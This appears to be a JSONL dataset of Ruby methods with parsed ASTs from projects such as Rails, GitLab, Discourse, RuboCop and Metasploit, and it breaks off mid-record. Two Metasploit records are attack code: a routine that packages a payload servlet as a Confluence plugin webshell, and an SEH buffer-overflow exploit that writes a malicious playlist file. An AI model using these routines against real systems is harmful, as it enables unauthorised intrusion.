{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb","start_line":20,"raw_source":"def generate_payload_plugin(plugin_key, payload_endpoint)\n vprint_status('Generating payload plugin')\n webshell_jar = payload.encoded_jar(random: true)\n\n webshell_jar.add_file(\n 'atlassian-plugin.xml',\n %(\n<atlassian-plugin name=\"#{rand_text_alpha(8)}\" key=\"#{plugin_key}\" plugins-version=\"2\">\n <plugin-info>\n <description>#{rand_text_alphanumeric(8)}</description>\n <version>#{rand(1024)}.#{rand(1024)}</version>\n </plugin-info>\n <servlet key=\"#{rand_text_alpha(8)}\" class=\"#{webshell_jar.substitutions['metasploit']}.PayloadServlet\">\n <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>\n </servlet>\n</atlassian-plugin>)\n )\n\n webshell_jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))\n return webshell_jar.pack\n end","complexity_score":19.95,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_payload_plugin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin_key\"]},{\"type\":\"arg\",\"children\":[\"payload_endpoint\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Generating payload plugin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"webshell_jar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded_jar\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"random\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webshell_jar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"atlassian-plugin.xml\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<atlassian-plugin name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\"\\\" key=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_key\"]}]},{\"type\":\"str\",\"children\":[\"\\\" plugins-version=\\\"2\\\">\\n\"]},{\"type\":\"str\",\"children\":[\" <plugin-info>\\n\"]},{\"type\":\"str\",\"children\":[\" <description>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\"</description>\\n\"]},{\"type\":\"str\",\"children\":[\" <version>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"str\",\"children\":[\"</version>\\n\"]},{\"type\":\"str\",\"children\":[\" </plugin-info>\\n\"]},{\"type\":\"str\",\"children\":[\" <servlet key=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\"\\\" class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webshell_jar\"]},\"substitutions\"]},\"[]\",{\"type\":\"str\",\"children\":[\"metasploit\"]}]}]},{\"type\":\"str\",\"children\":[\".PayloadServlet\\\">\\n\"]},{\"type\":\"str\",\"children\":[\" <url-pattern>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"payload_endpoint\"]}]}]},{\"type\":\"str\",\"children\":[\"</url-pattern>\\n\"]},{\"type\":\"str\",\"children\":[\" </servlet>\\n\"]},{\"type\":\"str\",\"children\":[\"</atlassian-plugin>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webshell_jar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"metasploit/PayloadServlet.class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MetasploitPayloads\"]},\"read\",{\"type\":\"str\",\"children\":[\"java\"]},{\"type\":\"str\",\"children\":[\"metasploit\"]},{\"type\":\"str\",\"children\":[\"PayloadServlet.class\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webshell_jar\"]},\"pack\"]}]}]}]}","id":"3fe0a9b3-f0d1-438b-a982-861d416c01a1"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/string_literals.rb","start_line":123,"raw_source":"def accept_child_double_quotes?(nodes)\n nodes.any? { |n| n.dstr_type? || double_quotes_required?(n.source) }\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"accept_child_double_quotes?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"dstr_type?\"]},{\"type\":\"send\",\"children\":[null,\"double_quotes_required?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"source\"]}]}]}]}]}","id":"936547d4-7d9c-4daa-8158-08698ab9b748"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_methods.rb","start_line":311,"raw_source":"def define_attribute_method(attr_name, _owner: generated_attribute_methods, as: attr_name)\n ActiveSupport::CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_patterns.each do |pattern|\n define_attribute_method_pattern(pattern, attr_name, owner: owner, as: as)\n end\n attribute_method_patterns_cache.clear\n end\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"define_attribute_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"_owner\",{\"type\":\"send\",\"children\":[null,\"generated_attribute_methods\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"as\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"CodeGenerator\"]},\"batch\",{\"type\":\"lvar\",\"children\":[\"_owner\"]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"owner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_method_patterns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[null,\"define_attribute_method_pattern\",{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"lvar\",\"children\":[\"attr_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"lvar\",\"children\":[\"owner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"as\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute_method_patterns_cache\"]},\"clear\"]}]}]}]}","id":"9fa7e832-24e3-486a-afe5-751d11c415f2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/link_alerts/create_service.rb","start_line":20,"raw_source":"def execute\n return error_no_permissions unless allowed?\n\n references = extract_alerts_from_references\n incident.alert_management_alerts << references if references.present?\n\n success\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_no_permissions\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"references\",{\"type\":\"send\",\"children\":[null,\"extract_alerts_from_references\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"references\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incident\"]},\"alert_management_alerts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"references\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"success\"]}]}]}","id":"26d18e3c-d99b-4ffb-944d-5be103cfe7ec"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/djstudio_pls_bof.rb","start_line":62,"raw_source":"def exploit\n sploit = rand_text_alpha_upper(1308)\n sploit << generate_seh_payload(target.ret)\n sploit << rand_text_alpha_upper(10000)\n\n print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n file_create(sploit)\n end","complexity_score":14.65,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[1308]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[10000]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]}","id":"84560709-5b35-4c92-b294-e84f2fca1907"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/serializer/readable_text.rb","start_line":710,"raw_source":"def self.dump_notes(mod, indent = '')\n output = ''\n\n mod.notes.each do |name, val|\n next unless val.present?\n\n case name\n when 'AKA'\n output << \"Also known as:\\n\"\n val.each { |aka| output << \"#{indent}#{aka}\\n\" }\n when 'NOCVE'\n output << \"CVE not available for the following reason:\\n\" \\\n \"#{indent}#{val}\\n\"\n when 'RelatedModules'\n output << \"Related modules:\\n\"\n val.each { |related| output << \"#{indent}#{related}\\n\" }\n when 'Stability', 'SideEffects', 'Reliability'\n # Handled by dump_traits\n next\n else\n output << \"#{name}:\\n\"\n\n case val\n when Array\n val.each { |v| output << \"#{indent}#{v}\\n\" }\n when Hash\n val.each { |k, v| output << \"#{indent}#{k}: #{v}\\n\" }\n else\n # Display the raw note\n output << \"#{indent}#{val}\\n\"\n end\n end\n\n output << \"\\n\"\n end\n\n output\n end","complexity_score":45.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"optarg\",\"children\":[\"indent\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"notes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"present?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Also known as:\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"aka\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aka\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"NOCVE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE not available for the following reason:\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"RelatedModules\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Related modules:\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"related\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"related\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"22e985ea-894f-4ff7-b871-71714b98f3a8"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190130163000_create_reviewable_scores.rb","start_line":4,"raw_source":"def change\n create_table :reviewable_scores do |t|\n t.integer :reviewable_id, null: false\n t.integer :user_id, null: false\n t.integer :reviewable_score_type, null: false\n t.integer :status, null: false\n t.float :score, null: false, default: 0\n t.float :take_action_bonus, null: false, default: 0\n t.integer :reviewed_by_id, null: true\n t.datetime :reviewed_at, null: true\n t.integer :meta_topic_id, null: true\n t.timestamps\n end\n\n add_index :reviewable_scores, :reviewable_id\n add_index :reviewable_scores, :user_id\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"reviewable_scores\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"reviewable_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"reviewable_score_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"float\",{\"type\":\"sym\",\"children\":[\"score\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"float\",{\"type\":\"sym\",\"children\":[\"take_action_bonus\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"reviewed_by_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"reviewed_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"meta_topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"reviewable_scores\"]},{\"type\":\"sym\",\"children\":[\"reviewable_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"reviewable_scores\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}","id":"fa4d9c45-ca0a-4c18-a19c-9291aa31939e"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/controllers/admin/discourse_calendar/admin_holidays_controller.rb","start_line":34,"raw_source":"def enable\n if DiscourseCalendar::DisabledHoliday.destroy_by(disabled_holiday_params).present?\n render json: success_json\n else\n render_json_error(I18n.t(\"system_messages.discourse_calendar_enable_holiday_failed\"), 422)\n end\n end","complexity_score":9.73,"ast_json":"{\"type\":\"def\",\"children\":[\"enable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseCalendar\"]},\"DisabledHoliday\"]},\"destroy_by\",{\"type\":\"send\",\"children\":[null,\"disabled_holiday_params\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"system_messages.discourse_calendar_enable_holiday_failed\"]}]},{\"type\":\"int\",\"children\":[422]}]}]}]}","id":"a7d3b97c-8ed6-4259-aecb-0d80c3bd5aa8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/group_links/destroy_service.rb","start_line":6,"raw_source":"def execute(one_or_more_links, skip_authorization: false)\n unless skip_authorization || (group && can?(current_user, :admin_group_member, group))\n return error('Not Found', 404)\n end\n\n links = Array(one_or_more_links)\n\n if GroupGroupLink.delete(links)\n Gitlab::AppLogger.info(\n \"GroupGroupLinks with ids: #{links.map(&:id)} have been deleted.\")\n\n groups_to_refresh = links.map(&:shared_with_group)\n groups_to_refresh.uniq.each do |group|\n next if Feature.enabled?(:skip_group_share_unlink_auth_refresh, group.root_ancestor)\n\n AuthorizedProjectUpdate::EnqueueGroupMembersRefreshAuthorizedProjectsWorker.perform_async(group.id,\n { 'priority' => priority_for_refresh.to_s, 'direct_members_only' => true })\n end\n else\n Gitlab::AppLogger.info(\n \"Failed to delete GroupGroupLinks with ids: #{links.map(&:id)}.\")\n end\n\n links\n end","complexity_score":40.23,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"one_or_more_links\"]},{\"type\":\"kwoptarg\",\"children\":[\"skip_authorization\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_authorization\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_group_member\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Not Found\"]},{\"type\":\"int\",\"children\":[404]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"links\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"one_or_more_links\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupGroupLink\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"links\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GroupGroupLinks with ids: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"str\",\"children\":[\" have been deleted.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups_to_refresh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared_with_group\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups_to_refresh\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"skip_group_share_unlink_auth_refresh\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"root_ancestor\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorizedProjectUpdate\"]},\"EnqueueGroupMembersRefreshAuthorizedProjectsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"priority\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"priority_for_refresh\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"direct_members_only\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to delete GroupGroupLinks with ids: 